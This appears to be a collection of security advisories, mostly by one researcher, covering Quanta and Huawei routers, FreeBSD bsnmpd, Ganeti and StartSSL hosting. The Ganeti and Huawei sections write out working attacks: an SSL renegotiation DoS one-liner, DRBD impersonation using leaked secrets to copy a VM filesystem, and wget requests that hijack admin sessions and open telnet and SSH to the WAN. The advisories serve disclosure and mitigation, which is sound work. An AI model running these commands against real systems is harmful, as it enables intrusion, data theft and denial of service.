To illustrate the precedent fact, here is the current available space in the router:
root@homerouter:~# df-h
Filesystem Size Used Available Use% Mounted on
/dev/root 60.4M 36.2M 24.2M 60% /
tmpfs 64.0K 0 64.0K 0% /dev
tmpfs 82.5M 0 82.5M 0% /dev/shm
/var 82.5M 968.0K 81.5M 1% /var
/dev/mtdblock24 60.4M 27.1M 33.3M 45% /usr
/dev/mtdblock16 10.1M 1.4M 8.7M 14% /config
/dev/mtdblock17 10.1M 1.3M 8.8M 13% /config2
/dev/mtdblock18 80.4M 1.3M 79.1M 2% /cache
root@homerouter:~
The /var/alex
directory is used as a storage directory for logs. This in a non conventional path and seems to be named after one of the programmer's name. Hello Alex !
In Samba:
In the Firmware Over The Air program:
This device has a lot of LEDs and an user can control them.
You can recycle the router as a funny "light show" device with this command:
root@homerouter:/sys/class/leds# for j in *; do (while sleep 0.1; do echo 0 > /sys/class/leds/$j/brightness ; sleep 0.1 ; echo 1 > /sys/class/leds/$j/brightness ;done &); sleep 0.1;done
The leds will start blinking like crazy. It will add some fun in this long journey.
The vulnerable router is in the End Of Service cycle and will not be supported anymore.
The vendor considers the router is still working well.
The vendor will consider security in their next product development.
These vulnerabilities were found by Pierre Kim (@PierreKimSec).
https://pierrekim.github.io/advisories/2016-quanta-0x00.txt
https://pierrekim.github.io/blog/2016-04-04-quanta-lte-routers-vulnerabilities.html
This advisory is licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/
StartSSL is PKI solution from StartCom, a company based in Israel.
From https://en.wikipedia.org/wiki/StartCom:
StartSSL offers the free (for personal use) Class 1 X.509 SSL certificate "StartSSL Free", which works for webservers (SSL/TLS) as well as for E-mail encryption (S/MIME). It also offers Class 2 and 3 certificates as well as Extended Validation Certificates. All major browsers include support for StartSSL certificates.
From https://www.startssl.com/NewsDetails:
StartCom, a leading global Certificate Authority (CA) and provider of trusted identity and authentication services, launched its newly designed website just at the end of the year and announces expansion if its activities in China.
StartSSL uses https://auth.startssl.com/ for the front-end to access to their PKIs (login to the PKI, create, revoke certificates...). It's the Core of their service and the critical part of their infrastructure.
Using Robtex, we discover the platform of StartSSL is mainly operated in Israel with the 192.116.242.0/24 IP range (netname: SrartCom-Ltd(sic!), with country: IL).
From https://www.robtex.com/route/192.116.242.0-24.html:
The www.startssl.com vhost is provided by a custom CDN:
root@kali:~/# host www.startssl.com
www.startssl.com has address 97.74.232.97 <- Godaddy
www.startssl.com has address 52.7.55.170 <- Amazon Web Services
www.startssl.com has address 52.21.57.183 <- Amazon Web Services
www.startssl.com has address 52.0.114.134 <- Amazon Web Services
www.startssl.com has address 50.62.56.98 <- Godaddy
www.startssl.com has address 104.192.110.222 <- QiHU 360 Inc.
www.startssl.com has address 50.62.133.237 <- Godaddy
root@kali:~/#
Apart from IPs from CDNs, we find a strange fact:
The DNS of auth.startssl.com changed in December 2015 from 192.116.242.27 (StrartCom-Ltd) to 104.192.110.222 (QiHU 360), which belongs to a Chinese Company (Qihoo 360).
There are only 3 vhosts pointing to 104.192.110.222 :
www.startssl.com resolves for 1 IP to 104.192.110.222
auth.startssl.com -> 104.192.110.222
www.startpki.com -> 104.192.110.222
We can use WhatsMyDNS to check that auth.startssl.com revolves to 104.192.110.222 from any location. This is not a CDN solution but an intentional usage of a single Chinese IP.
From https://whois.arin.net/rest/net/NET-104-192-110-0-1/pft?s=104.192.110.222:
As auth.startssl.com revolves to 104.192.110.222 from any location, we can assume the PKI is now hosted on the 104.192.110.222 IP.
104.192.110.222 is an IP from "QiHU 360 Inc", which actually means Qihoo 360. Qihoo 360 is a Chinese tech company.
You may be heard something about Qihoo 360, who just bought Opera. Strangely enough, Qihoo 360 uses IPs from China Telecom Americas. China Telecom Americas is a subsidiary of China Telecom Corporation Limited which is a Chinese state-owned telecommunication company. It is the largest fixed-line service and the third largest mobile telecommunication provider in the People's Republic of China.
It is worrying that the PKI front-end (auth.startssl.com) is now hosted within a Chinese Antivirus Company, who uses a Chinese ISP for 2 months AND that there hasn't been any news around. It can be only linked to the expansion of StartSSL's activities in China in December 2015, as explained above.
From a history point of view, StartSSL already refused to revoke certificates affected by the HeartBleed vulnerability and accused the user from negligence ("your software was vulnerable").
With all these facts, I don't think using StartSSL is a good idea now, except if they offer a clear explanation why they are hosting their PKI in a Chinese company.
Go use Let's encrypt ! :)
The bsnmpd daemon serves the Internet SNMP (Simple Network Management Protocol). It is intended to serve only the absolute basic MIBs and implement all other MIBs through loadable modules.
By default, the bsnmpd configuration file in FreeBSD 9.3 and 10.x has weak permissions which allows a local user to retrieve sensitive information.
By default the permissions of the bsnmpd configuration file are 0644 instead of 0600:
root@freebsd-test-snmp:~ # ls -latr /etc/snmpd.config
-rw-r--r-- 1 root wheel 8662 Aug 12 16:27 /etc/snmpd.config
root@freebsd-test-snmp:~ #
This file is readable by a local user and contains the credentials for read-only and read-write access (for SNMPv1, SNMPv2 and SNMPv3 protocols) and gives a local user unnecessary/dangerous access:
root@freebsd-test-snmp:~ # cat /etc/snmpd.config
[...]
# Change this!
read := "public"
# Uncomment begemotSnmpdCommunityString.0.2 below that sets the community
# string to enable write access.
write := "geheim"
trap := "mytrap"
[...]
# SNMPv3 USM User definition
#
# [...]
#
#user1 := "bsnmp"
#user1passwd := 0x22:0x98:0x1a:0x6e:0x39:0x93:0x16:0x5e:0x6a:0x21:0x1b:0xd8:0xa9:0x81:0x31:0x05:0x16:0x33:0x38:0x60
[...]
The official patch does not fix the permissions for existing installations.
This vulnerability can be fixed by modifying the permission on /etc/bsnmpd.conf to owner root:wheel and permission 0600.
This vulnerability was found by Pierre Kim (@PierreKimSec).
https://pierrekim.github.io/advisories/CVE-2015-5677-freebsd-bsnmpd.txt
https://pierrekim.github.io/blog/2016-01-15-cve-2015-5677-freebsd-bsnmpd.html
https://www.freebsd.org/security/advisories/FreeBSD-SA-16:06.bsnmpd.asc
This advisory is licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/
Ganeti is a virtual machine cluster management tool developed by Google.
The solution stack uses either Xen or KVM as the virtualization platform, LVM for disk management, and optionally DRBD for disk replication across physical hosts.
Ganeti has security problems in the default install (with DRBD) and the default configuration due to old libraries and design problem, even if the security level in Ganeti seems to be high.
These problems affect every versions until the last released version.
The Ganeti API Daemon is open on every interface by default and an attacker can DoS this daemon.
It is also possible to abuse this deamon to retrieve information, such as network topology, DRBD secrets...
A PoC is provided to automaticaly retrieve sensitive information and a possible scenario, allowing to take over Virtual Machines remotely, is provided (which worked in my lab in certain conditions).
Ganeti is prone to a SSL DoS with SSL renegociation against the RAPI Daemon:
user@kali:~$ (sleep 1; while true;do echo R;done) | openssl s_client -connect 10.105.1.200:5080
CONNECTED(00000003)
depth=0 CN = ganeti.example.com
verify error:num=18:self signed certificate
verify return:1
depth=0 CN = ganeti.example.com
verify return:1
---
Certificate chain
0 s:/CN=ganeti.example.com
i:/CN=ganeti.example.com
---
Server certificate
-----BEGIN CERTIFICATE-----
[...]
-----END CERTIFICATE-----
subject=/CN=ganeti.example.com
issuer=/CN=ganeti.example.com
---
No client certificate CA names sent
---
SSL handshake has read 1003 bytes and written 625 bytes
---
New, TLSv1/SSLv3, Cipher is AES256-GCM-SHA384
Server public key is 2048 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
SSL-Session:
Protocol : TLSv1.2
Cipher : AES256-GCM-SHA384
Session-ID: D75BCF369143CD008D693B022B967149AF0BD420DE385C51227A1921CD29360D
Session-ID-ctx:
Master-Key: 7DDD57FD479AE6555D1D42CF2B15B8857C28430189EC5C1331C75C4253E4A9F0FC0672EE2F2438CD055328C5A46C4F5F
Key-Arg : None
PSK identity: None
PSK identity hint: None
SRP username: None
TLS session ticket lifetime hint: 300 (seconds)
TLS session ticket:
0000 - 10 ad 69 39 76 6c 2e 37-cf e7 c2 2c 5f f0 e0 20 ..i9vl.7...,_..
0010 - 5d 85 5a 79 82 20 6a 1d-f1 6e 51 f5 f2 f7 c6 cf ].Zy. j..nQ.....
0020 - c1 85 2d 42 5a 1c 53 b4-cb db de 65 04 2a 02 da ..-BZ.S....e.*..
0030 - 5c 7d 82 ef 56 4a a4 a1-88 bd 87 fd af 25 e3 2e \}..VJ.......%..
0040 - 28 68 04 a4 01 22 88 72-30 0b 79 1c 75 61 88 d5 (h...".r0.y.ua..
0050 - c9 f3 e2 0b 02 50 bf c8-29 ac d9 36 f3 76 bd 8b .....P..)..6.v..
0060 - 05 e0 d3 a9 f3 8b 8b 11-ef 19 2f 94 92 30 94 58 ........../..0.X
0070 - aa 64 ba 3f a4 fc 15 4b-74 11 3b c3 c7 e7 d4 33 .d.?...Kt.;....3
0080 - dd 76 e9 e1 1b 3a 95 c4-50 28 4f 9e bc cc cb f3 .v...:..P(O.....
0090 - bf 4d 60 92 64 00 af 67-c0 e9 69 e3 98 54 21 dc .M`.d..g..i..T!.
Start Time: 1138121399
Timeout : 300 (sec)
Verify return code: 18 (self signed certificate)
---
RENEGOTIATING
depth=0 CN = ganeti.example.com
verify error:num=18:self signed certificate
verify return:1
depth=0 CN = ganeti.example.com
verify return:1
RENEGOTIATING
depth=0 CN = ganeti.example.com
verify error:num=18:self signed certificate
verify return:1
depth=0 CN = ganeti.example.com
verify return:1
RENEGOTIATING
depth=0 CN = ganeti.example.com
verify error:num=18:self signed certificate
verify return:1
depth=0 CN = ganeti.example.com
verify return:1
RENEGOTIATING
[...]
From my test, 1 thread takes 75% of CPU.
top
on the main server (10.105.1.200):
19734 gnt-rapi 20 0 148980 35364 4696 R 76.8 3.7 0:04.12 ganeti-rapi
Multiple threads will eat all the available CPUs and will likely DoS ganeti:
21280 gnt-rapi 20 0 148980 35364 4696 R 35.3 3.7 0:05.06 ganeti-rapi
20968 gnt-rapi 20 0 148980 35364 4696 R 33.4 3.7 0:09.92 ganeti-rapi
20969 gnt-rapi 20 0 148980 35364 4696 R 32.4 3.7 0:09.95 ganeti-rapi
21282 gnt-rapi 20 0 148980 35364 4696 R 32.4 3.7 0:04.53 ganeti-rapi
21281 gnt-rapi 20 0 148980 35364 4696 R 31.4 3.7 0:04.78 ganeti-rapi
An attacker can use tools from THC to perform SSL DoS too (openssl was the fastest solution out of the box): https://www.thc.org/thc-ssl-dos/.
This vulnerability allows an attacker to retrieve data using information disclosure, allowing him, depending on the configuration, to remotely hack VMs. A PoC (GHETTO-BLASTER which works in Linux (Debian, Kali) and FreeBSD) is available here: https://pierrekim.github.io/advisories/GHETTO-BLASTER.
I. Design Security Problem with the RAPI Daemon
In the Ganeti master node, when using /usr/sbin/gnt-network
, a non-root user can't get information (debian-01 is the ganeti master node):
user@debian-01:~$ /usr/sbin/gnt-network list
It seems you don't have permissions to connect to the master daemon.
Please retry as a different user.
user@debian-01:~$
This is common for all gnt-tools
and seems to be a security design.
It appears Genati by default is too open when using the RAPI daemon and this daemon listens on every interface by default.
For example, the network configuration can be extracted from jobs using the RAPI daemon without authentication.
I wrote a tool, "GHETTO-BLASTER", to industrialize the process:
user@kali:~$ ./GHETTO-BLASTER http://<ip_of_ganeti_rapi>
Example:
https://<ip>
2015 Pierre Kim <pierre.kim.sec@gmail.com>
@PierreKimSec https://pierrekim.github.io
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE <http://www.wtfpl.net/txt/copying/>
user@kali:~$ ./GHETTO-BLASTER http://10.105.1.200
[...]
[a lot of output]
[...]
user@kali:~$ ls -l 2-networks 2-networks-test-priv 2-networks-test-pub
-rw-r--r-- 1 user user 228 Jun 20 13:37 2-networks
-rw-r--r-- 1 user user 882 Jun 20 13:37 2-networks-test-priv
-rw-r--r-- 1 user user 881 Jun 20 13:37 2-networks-test-pub
user@kali:~$ cat 2-networks 2-networks-test-priv 2-networks-test-pub
$VAR1 = [
{
'name' => 'test-priv',
'uri' => '/2/networks/test-priv'
},
{
'uri' => '/2/networks/test-pub',
'name' => 'test-pub'
}
];
$VAR1 = {
'mtime' => '1313027652.67126',
'gateway' => undef,
'network6' => undef,
'inst_list' => [],
'mac_prefix' => undef,
'serial_no' => 1,
'free_count' => 254,
'name' => 'test-priv',
'map' => 'X..............................................................................................................................................................................................................................................................X',
'gateway6' => undef,
'external_reservations' => '192.168.1.0, 192.168.1.255',
'uuid' => '506ad97b-2276-43f4-ae27-e6bbb97f28ff',
'ctime' => '1133027652.67126',
'reserved_count' => 2,
'network' => '192.168.1.0/24',
'group_list' => [],
'tags' => []
};
$VAR1 = {
'mac_prefix' => undef,
'inst_list' => [],
'network6' => undef,
'mtime' => '1333027641.64375',
'gateway' => undef,
'map' => 'X..............................................................................................................................................................................................................................................................X',
'free_count' => 254,
'name' => 'test-pub',
'serial_no' => 1,
'reserved_count' => 2,
'network' => '192.168.0.0/24',
'ctime' => '1133027641.64375',
'gateway6' => undef,
'uuid' => '48b34199-2d23-46f0-b4aa-2539cb4a7780',
'external_reservations' => '192.168.0.0, 192.168.0.255',
'group_list' => [],
'tags' => []
};
user@kali:~$
It's possible to map the network and to retrieve sensible secrets.
Other interesting information:
osparams_secret
is readable in jobs using the access to RAPI.
II. Using this information disclosure to hack VMs
By default, /var/lib/ganeti/config.data
(640, gnt-masterd:gnt-confd) contains the secret key for DRBD replication.
A remote user or even a local non-root (or non gnt-masterd user) can't get the configuration of DRBD.
This key can be extracted from jobs by abusing the RAPI daemon without authentication.
After running GHETTO-BLASTER, you will have a lot of files:
user@kali:~$ ls
1-list-collectors 2-jobs-121 2-jobs-154 2-jobs-187 2-jobs-219 2-jobs-251 2-jobs-284 2-jobs-47 2-jobs-8
1-report-all 2-jobs-122 2-jobs-155 2-jobs-188 2-jobs-22 2-jobs-252 2-jobs-285 2-jobs-48 2-jobs-80
2-features 2-jobs-123 2-jobs-156 2-jobs-189 2-jobs-220 2-jobs-253 2-jobs-286 2-jobs-49 2-jobs-81
2-info 2-jobs-124 2-jobs-157 2-jobs-19 2-jobs-221 2-jobs-254 2-jobs-287 2-jobs-5 2-jobs-82
2-instances 2-jobs-125 2-jobs-158 2-jobs-190 2-jobs-222 2-jobs-255 2-jobs-288 2-jobs-50 2-jobs-83
2-instances-vm-01 2-jobs-126 2-jobs-159 2-jobs-191 2-jobs-223 2-jobs-256 2-jobs-289 2-jobs-51 2-jobs-84
2-instances-vm-01-jobs 2-jobs-127 2-jobs-16 2-jobs-192 2-jobs-224 2-jobs-257 2-jobs-29 2-jobs-52 2-jobs-85
2-instances-vm-02 2-jobs-128 2-jobs-160 2-jobs-193 2-jobs-225 2-jobs-258 2-jobs-290 2-jobs-53 2-jobs-86
2-instances-vm-02-jobs 2-jobs-129 2-jobs-161 2-jobs-194 2-jobs-226 2-jobs-259 2-jobs-291 2-jobs-54 2-jobs-87
[...]
2-jobs-109 2-jobs-141 2-jobs-174 2-jobs-206 2-jobs-239 2-jobs-271 2-jobs-34 2-jobs-67 2-networks
2-jobs-11 2-jobs-142 2-jobs-175 2-jobs-207 2-jobs-24 2-jobs-272 2-jobs-35 2-jobs-68 2-nodes
2-jobs-110 2-jobs-143 2-jobs-176 2-jobs-208 2-jobs-240 2-jobs-273 2-jobs-36 2-jobs-69 2-nodes-debian-01
2-jobs-111 2-jobs-144 2-jobs-177 2-jobs-209 2-jobs-241 2-jobs-274 2-jobs-37 2-jobs-7 2-nodes-debian-01-role
2-jobs-112 2-jobs-145 2-jobs-178 2-jobs-21 2-jobs-242 2-jobs-275 2-jobs-38 2-jobs-70 2-nodes-debian-02
2-jobs-113 2-jobs-146 2-jobs-179 2-jobs-210 2-jobs-243 2-jobs-276 2-jobs-39 2-jobs-71 2-nodes-debian-02-role
2-jobs-114 2-jobs-147 2-jobs-18 2-jobs-211 2-jobs-244 2-jobs-277 2-jobs-4 2-jobs-72 2-os
2-jobs-115 2-jobs-148 2-jobs-180 2-jobs-212 2-jobs-245 2-jobs-278 2-jobs-40 2-jobs-73 version
2-jobs-116 2-jobs-149 2-jobs-181 2-jobs-213 2-jobs-246 2-jobs-279 2-jobs-41 2-jobs-74
2-jobs-117 2-jobs-15 2-jobs-182 2-jobs-214 2-jobs-247 2-jobs-28 2-jobs-42 2-jobs-75
2-jobs-118 2-jobs-150 2-jobs-183 2-jobs-215 2-jobs-248 2-jobs-280 2-jobs-43 2-jobs-76
2-jobs-119 2-jobs-151 2-jobs-184 2-jobs-216 2-jobs-249 2-jobs-281 2-jobs-44 2-jobs-77
2-jobs-12 2-jobs-152 2-jobs-185 2-jobs-217 2-jobs-25 2-jobs-282 2-jobs-45 2-jobs-78
2-jobs-120 2-jobs-153 2-jobs-186 2-jobs-218 2-jobs-250 2-jobs-283 2-jobs-46 2-jobs-79
Files contain DRBD secrets:
user@kali:~$ grep secret *|tail -n 5
2-jobs-80: 'secret' => 'eb1fe92b20aef58ed0570df49a38f82cf5a72d06'
2-jobs-82: 'secret' => 'eb1fe92b20aef58ed0570df49a38f82cf5a72d06'
2-jobs-84: 'secret' => 'eb1fe92b20aef58ed0570df49a38f82cf5a72d06',
2-jobs-85: 'secret' => 'eb1fe92b20aef58ed0570df49a38f82cf5a72d06',
2-jobs-86: 'secret' => 'eb1fe92b20aef58ed0570df49a38f82cf5a72d06',
user@kali:~$
The key is confirmed by using drbdsetup show
as root in the Ganeti master node:
root@debian-01:~# drbdsetup show
resource resource0 {
options {
}
net {
cram-hmac-alg "md5";
shared-secret "eb1fe92b20aef58ed0570df49a38f82cf5a72d06";
after-sb-0pri discard-zero-changes;
after-sb-1pri consensus;
}
_remote_host {
address ipv4 10.105.1.201:11000;
}
_this_host {
address ipv4 10.105.1.200:11000;
volume 0 {
device minor 0;
disk "/dev/xenvg-vg/41975138-516e-4f8d-9c39-f6716a89efa2.disk0_data";
meta-disk "/dev/xenvg-vg/41975138-516e-4f8d-9c39-f6716a89efa2.disk0_meta";
disk {
size 8388608s; # bytes
resync-rate 61440k; # bytes/second
}
}
}
}
root@debian-01:~#
By digging more, one of the jobs file (2-jobs-280) contains the DRDB configuration:
[...]
'drbd_info' => {
'port' => 11000,
'primary_minor' => 0,
'secondary_node' => 'debian-02',
'secondary_minor' => 0,
'secret' => 'eb1fe92b20aef58ed0570df49a38f82cf5a72d06',
'primary_node' => 'debian-01'
},
[...]
As stated in http://docs.ganeti.org/ganeti/current/html/security.html:
DRBD connections are protected from erroneous connections to other machines (as may happen due
to software issues), and from accepting connections from other machines, by using a shared secret,
exchanged via RPC requests from the master to the nodes when configuring the device.
We recovered the secret of DRBD, the port used and the nodes without authentication. Other files contain the LVM VG and the LVM LG names! It's enough to start playing with DRDB from an attacker side.
III. DRBD Madness
Now, it's time for DRBD Feng Shui!
Getting the File System of a VM:
o By doing ARP spoofing in the same LAN:
We will impersonate 10.105.1.201 by doing ARP poisoning and using a valid drbd.conf thank to the parameters provided by the RAPI daemon:
root@kali# cat etc-drbd.conf
include "drbd.d/global_common.conf";
include "drbd.d/*.res";
resource resource0 {
volume 0 {
device minor 0;
disk "/dev/xenvg-vg/41975138-516e-4f8d-9c39-f6716a89efa2.disk0_data";
meta-disk "/dev/xenvg-vg/41975138-516e-4f8d-9c39-f6716a89efa2.disk0_meta";
}
protocol C;
net {
cram-hmac-alg "md5";
shared-secret "eb1fe92b20aef58ed0570df49a38f82cf5a72d06";
after-sb-0pri discard-zero-changes;
after-sb-1pri consensus;
}
on target {
address 10.105.1.200:11000;
}
on kali {
address 10.105.1.201:11000;
}
}
root@kali# vgremove xenvg-vg 2>/dev/null
root@kali# dd if=/dev/zero of=/dev/sdb bs=1024 count=1024
root@kali# pvcreate /dev/sdb
root@kali# vgcreate xenvg-vg /dev/sdb
root@kali# lvcreate --name 41975138-516e-4f8d-9c39-f6716a89efa2.disk0_data --size 4G xenvg-vg
root@kali# lvcreate --name 41975138-516e-4f8d-9c39-f6716a89efa2.disk0_meta --size 128M xenvg-vg
root@kali# cp etc-drbd.conf /etc/drbd.conf
root@kali# drbdadm create-md resource0
root@kali# drbdadm up resource0
<ARP poisoning> || root@kali# ifconfig eth0 10.105.1.201 netmask 255.255.255.0
root@kali# drbdadm attach resource0
root@kali# drbdadm connect resource0
root@kali# cat /proc/drbd
version: 8.4.3 (api:1/proto:86-101)
srcversion: 1A9F77B1CA5FF92235C2213
0: cs:SyncTarget ro:Secondary/Primary ds:Inconsistent/UpToDate C r-----
ns:0 nr:916568 dw:916472 dr:0 al:0 bm:55 lo:2 pe:0 ua:2 ap:0 ep:1 wo:f oos:3277832
[===>................] sync'ed: 22.0% (3277832/4194304)K
finish: 0:08:33 speed: 6,368 (5,912) want: 4,520 K/sec
root@kali# echo "wow synchronisation in progress !"
wow synchronisation in progress !
root@kali#
After 10min of synchronisation, an attacker will have a perfect copy of the targeted VM File System using DRDB replication.
It's also possible to write information in the File System (like adding SSH keys).
Rooting VMs by adding ssh keys and by doing s/PermitRootLogin No/PermitRootLogin Yes/
is left as a exercise to the reader.
o Other methods of MiTM exist and are left as a exercise for the reader.
At first, I think these steps must be done to improve the security of ganeti:
1/ Forcing the RAPI to listen to 127.0.0.1 instead of 0.0.0.0.
This can be done by adding by default to /etc/default/ganeti:
RAPI_ARGS="-b 127.0.0.1"
Listening to 127.0.0.1 for ganeti-mond is a good step too (it listens to 0.0.0.0:1815/tcp)
2/ Adding an authentication by default for the RAPI daemon (not only for writing access but for reading access too)
3/ Filtering the output of the jobs to avoid leaking secrets.
Note that the immediate step is to change the secrets used for DRBD and to be sure nobody had access to the DRBD blocks, allowing a compromise of all the VMs.
4/ Disabling SSL renegociation and updating the default ciphers.
A personal note: as deploying a working Ganeti platform is very complicated, attackers will likely giving up before having a working Ganeti platform to study :)
Update to the latest version of Ganeti.
Read details about mitigation measures here: https://groups.google.com/forum/#!topic/ganeti/9bLyzwmmvdg
These vulnerabilities were found by Pierre Kim (@PierreKimSec).
Big thanks to my friends Alexandre Torres, Jordan, Jerome and Stephen.
Thanks to Google Security Team which coordinated the issues by contacting MITRE and the different parties.
https://pierrekim.github.io/advisories/2016-ganeti-0x00.txt
https://pierrekim.github.io/blog/2016-01-05-Ganeti-Info-Leak-DoS.html
http://www.ocert.org/advisories/ocert-2015-012.html
https://groups.google.com/forum/#!topic/ganeti/9bLyzwmmvdg
PoC is available here: https://pierrekim.github.io/advisories/GHETTO-BLASTER.
This advisory is licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/
Huawei Technologies Co. Ltd. is a Chinese multinational networking and telecommunications equipment and services company. It is the largest telecommunications equipment manufacturer in the world.
The Huawei BM626e device is a Wimax router / access point overall badly designed with a lot of vulnerabilities. The device is provided by MTN Cote d'Ivoire as a "Wibox". It's available in a number of countries to provide Internet with a Wimax network.
The tests below are done using the last available firmware (firmware V100R001CIVC24B010).
Note: This firmware is being used by other Huawei Wimax CPEs and Huawei confirmed that the devices below are vulnerable to the same threats:
The routers are still on sale and used in several countries. They are used, at least, in these countries:
By default, the webpage http://192.168.1.1/check.html
contains important information
(wimax configuration, network configuration, wifi and sip configuration ...) and is reachable without authentication.
A JavaScript redirection will annoy the attacker (/login.html
) and can be easily defeated by using wget:
root@kali:~# wget http://192.168.1.1/check.html; less check.html
If an admin is currently managing the device (OR used the device but didn't properly disconnect), the current/used session can be stolen by an attacker located in the LAN (or WAN if the HTTP is open in the WAN interface).
The admin session id ("SID") can be recovered in multiple webpages without authentication:
The security.html webpage contains a valid session ID, without authentication, within the JavaScript sources:
sid="SID24188"
A "protection" is written in JavaScript and will redirect the attacker to the login webpage but the Javascript contains the session of the admin (sid="SIDXXXXX") so the attacker can retrieve it easily using wget:
root@kali:~# wget http://192.168.1.1/wimax/security.html ; less security.html
root@kali:~# wget http://192.168.1.1/static/deviceinfo.html ; less deviceinfo.html
Note that, by visiting the webpages, the attacker will also disconnect the administrator from the Control Panel (http://192.168.1.1/
)
By using the previously stolen SID, it is possible to perform administration tasks without having proper credentials:
Retrieve private information (network information):
root@kali:~# wget -qO- 'http://192.168.1.1/static/rethdhcp.jsx?WWW_SID=SID24188&t=0'
Saving to: `STDOUT'
stats={};do{stats.dhcplist="44:8A:5B:AA:AA:AA,192.168.1.3,71:52:02@00:E0:4C:AA:AA:AA,192.168.1.2,71:52:02";
stats.reth="
eth0 Link encap:Ethernet HWaddr 34:6B:D3:AA:AA:AA
UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1
RX packets:27 errors:0 dropped:0 overruns:0 frame:0
TX packets:109 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:2887 (2.8 KiB) TX bytes:46809 (45.7 KiB)
Interrupt:9 Base address:0x4000
eth1 Link encap:Ethernet HWaddr 34:6B:D3:AA:AA:AA
UP BROADCAST PROMISC MULTICAST MTU:1500 Metric:
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
Interrupt:9 Base address:0x4000
eth2 Link encap:Ethernet HWaddr 34:6B:D3:AA:AA:AA
UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1
RX packets:2530 errors:0 dropped:0 overruns:0 frame:0
TX packets:2619 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:351557 (343.3 KiB) TX bytes:536669 (524.0 KiB)
Interrupt:9 Base address:0x4000
eth3 Link encap:Ethernet HWaddr 34:6B:D3:AA:AA:AA
UP BROADCAST PROMISC MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
Interrupt:9 Base address:0x4000
";stats.wlaninfo="
wl0 Link encap:Ethernet HWaddr 34:6B:D3:AA:AA:AA
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:5257 errors:0 dropped:0 overruns:0 frame:0
TX packets:846 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:1117126 (1.0 MiB) TX bytes:279600 (273.0 KiB)
wl1 Link encap:Ethernet HWaddr 34:6B:D3:AA:AA:AA
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
[...]
root@kali:~#
Retrieve private information:
An other JSX webpage: http://192.168.1.1/advanced/WANconnect.jsx?WWW_SID=SID24188&&t=0
root@kali:~# wget -qO- 'http://192.168.1.1/advanced/WANconnect.jsx?WWW_SID=SID24188&&t=0'
stats={};do{stats.PPPoEStatus='Disconnected'; stats.GREStatus='Disconnected';stats.wpsmode="7";stats.position="Idle,Idle,"}while(0);
It's possible to get a lot of information by abusing JSX webpages. Listing the JSX webpages is left as an exercise for the reader.
The Session ID can be used to change parameters in the Wimax router too:
Editing the WLAN configuration:
This request will change the first SSID name to 'powned' (you need to edit the WWW_SID, by the one provided in the /wimax/security.html
webpage):
root@kali:~# wget --no-cookies --header "Cookie: LoginTimes=0:LoginOverTime=0; FirstMenu=User_1; SecondMenu=User_1_1; ThirdMenu=User_1_1_1" --post-data='WWW_SID=SID24188&REDIRECT=wlan.html&SERVICE=wifi&SLEEP=2&WLAN_WifiEnable=1&Wlan_chkbox=0&WLAN_WirelessMode=9&WLAN_Channel=0&WLAN_SSID1=powned&WLAN_HideSSID=0%3B0%3B&WLAN_AuthMode=WPAPSKWPA2PSK%3BWPAPSKWPA2PSK%3B&WLAN_EncrypType=TKIPAES%3BTKIPAES%3B&WLAN_COUNTRY_REGION=1&WLAN_Country_Code=1d&WLAN_TXPOWER_NOR=13&WLAN_MAXNUM_STA=16%3B16%3B&WLAN_FragThreshold=2346&WLAN_BeaconPeriod=100&WLAN_RTSThreshold=2347&WLAN_BssidNum=2&WLAN_WscConfMode=7&WLAN_WscAction=3&WLAN_CountryCode=CI&WLAN_WscPinCode=&WLAN_TXRATE=0&WLAN_HTBW=0&WLAN_NTH_SSID=1&WLAN_PinFlag=2' http://192.168.1.1/basic/mtk.cgi
Opening the management interface:
This request will open HTTP/HTTPS/TELNET/SSH in the LAN AND the WAN interfaces (you need to edit the WWW_SID, by the one provided in the /wimax/security.html
webpage):
root@kali:~# wget --no-cookies --header "Cookie: LoginTimes=0:LoginOverTime=0; FirstMenu=User_2; SecondMenu=User_2_1; ThirdMenu=User_2_1_0" --post-data='WWW_SID=SID24188&REDIRECT=acl.html&SERVICE=mini_httpd%2Cmini_httpsd%2Ctelnetd%2Cdropbear&SLEEP=2&HTTPD_ENABLE=1&HTTPSD_ENABLE=1&MGMT_WEB_WAN=1&MGMT_TELNET_LAN=1&MGMT_TELNET_WAN=1&MGMT_SSH_LAN=1&MGMT_SSH_WAN=1&HTTPD_PORT=80&httpslan=getValue%28&HTTPSD_PORT=443&TELNETD_PORT=23&SSHD_PORT=22' http://192.168.1.1/basic/mtk.cgi
(The legit administrator can check the changes here: http://192.168.1.1/advanced/acl.html
)
Changing "DMZ action" - redirecting WAN ports to a target client located in the LAN (you need to edit the WWW_SID, by the one provided in the /wimax/security.html
webpage):
root@kali:~# wget --no-cookies --header "Cookie: LoginTimes=0:LoginOverTime=0; FirstMenu=User_2; SecondMenu=User_2_1; ThirdMenu=User_2_1_0" --post-data='WWW_SID=SID24188&REDIRECT=dmz.html&SERVICE=netfilter_dmz&NETFILTER_DMZ_HOST=192.168.1.2&NETFILTER_DMZ_ENABLE=1&DMZInterface=InternetGatewayDevice.WANDevice.1.WANConnectionDevice.1.WANIPConnection.1&DMZHostIPAddress=192.168.1.2&DMZEnable=on&TriggerPort=&TriggerPortEnd=' http://192.168.1.1/advanced/user.cgi
